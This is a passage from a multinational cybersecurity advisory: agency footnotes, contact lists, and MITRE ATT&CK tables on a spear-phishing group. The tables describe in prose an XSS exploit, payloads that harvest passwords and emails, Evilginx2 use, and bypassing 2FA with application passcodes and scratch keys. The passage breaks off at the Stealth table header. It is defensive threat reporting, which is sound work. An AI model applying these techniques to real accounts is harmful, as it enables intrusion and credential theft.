<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
